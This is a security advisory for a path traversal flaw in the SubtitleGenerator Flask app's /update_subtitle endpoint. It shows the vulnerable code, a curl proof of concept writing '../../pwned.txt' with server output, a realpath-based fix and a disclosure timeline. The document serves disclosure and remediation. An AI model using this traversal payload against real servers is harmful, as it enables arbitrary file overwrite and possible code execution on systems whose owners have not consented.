CVE-2026-51592 — Path Traversal in TahaBakhtari/SubtitleGenerator

Summary

A path traversal vulnerability exists in the /update_subtitle endpoint of TahaBakhtari/SubtitleGenerator. The endpoint accepts a file_name parameter from an unauthenticated client and joins it with a fixed base directory using os.path.join() without sanitizing path traversal sequences. As a result, a remote, unauthenticated attacker can write arbitrary files outside the intended data/subtitles/ directory, within the permissions of the running process.

Affected Product

• Product: SubtitleGenerator
• Repository: https://github.com/TahaBakhtari/SubtitleGenerator
• Affected version: commit 2e2553a (latest at time of testing)
• Affected component: app.py, update_subtitle function (lines 225–238)

Details

@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
    file_type = request.form.get('file_type', 'srt')
    new_content = request.form.get('new_content')
    file_name = request.form.get('file_name')

    if not file_name:
        return jsonify({'status': 'error', 'message': '...'}), 400

    file_path = os.path.join("data/subtitles", file_name)

    try:
        with open(file_path, "w", encoding="utf-8") as f:
            f.write(new_content)
        return jsonify({'status': 'success', 'message': '...'})
    except Exception as e:
        return jsonify({'status': 'error', 'message': str(e)}), 500

The file_name parameter is used to build a file path without any validation. An attacker can supply a value such as ../../pwned.txt to escape the data/subtitles/ directory and write to an arbitrary location the process has write access to.

By default, the application binds to 0.0.0.0:5000 (see app.py), meaning it is reachable over the network and not restricted to localhost.

CWE

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Impact

• Arbitrary file write within the permissions of the Flask process

• Overwriting of existing configuration or application files

• Potential overwrite of application source files (e.g. app.py), which could lead to code execution on next restart

• Denial of Service through corruption of critical files

• Attack vector: Remote

• Authentication required: No

• User interaction required: No

• Severity (preliminary): High

Proof of Concept

curl -X POST "http://target:5000/update_subtitle" \
  --data "file_name=../../pwned.txt&new_content=HACKED"

Response:

{"status": "success", "message": "..."}

Verification on the server:

$ ls
... pwned.txt ...

$ cat pwned.txt
HACKED

The file pwned.txt is written to the project's root directory, two levels above the intended data/subtitles/ directory — confirming the path traversal.

See poc.sh for a runnable version of this proof of concept.

Remediation

Validate that the resolved path stays within data/subtitles/ using os.path.realpath() before opening the file:

base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))

if not target.startswith(base_dir + os.sep):
    return jsonify({'status': 'error', 'message': 'invalid filename'}), 400

file_path = target

This ensures the resulting path always resolves inside data/subtitles/, effectively blocking traversal sequences such as ../../.

The full patch is available in patch.diff. This fix was implemented and verified against a local test instance: the same payload used in the PoC above now returns an "invalid filename" error instead of writing the file.

Timeline

• 2026-04-26 — Vulnerability reported to the maintainer via email (address listed on the maintainer's GitHub profile)
• 2026-06-25 — CVE ID reserved by the MITRE CVE Assignment Team
• 2026-07-24 — No response received from the maintainer; public disclosure (90 days after initial report)

Credit

Discovered and reported by Arda Kuruoglu.

Disclosure Policy

This vulnerability was disclosed following a 90-day responsible disclosure timeline, starting from the date of the initial report to the maintainer.

Files in this Repository

• README.md — this write-up
• poc.sh — proof-of-concept script demonstrating the vulnerability
• patch.diff — suggested patch, validated against a local test instance

License

This write-up and accompanying files are released under the MIT License.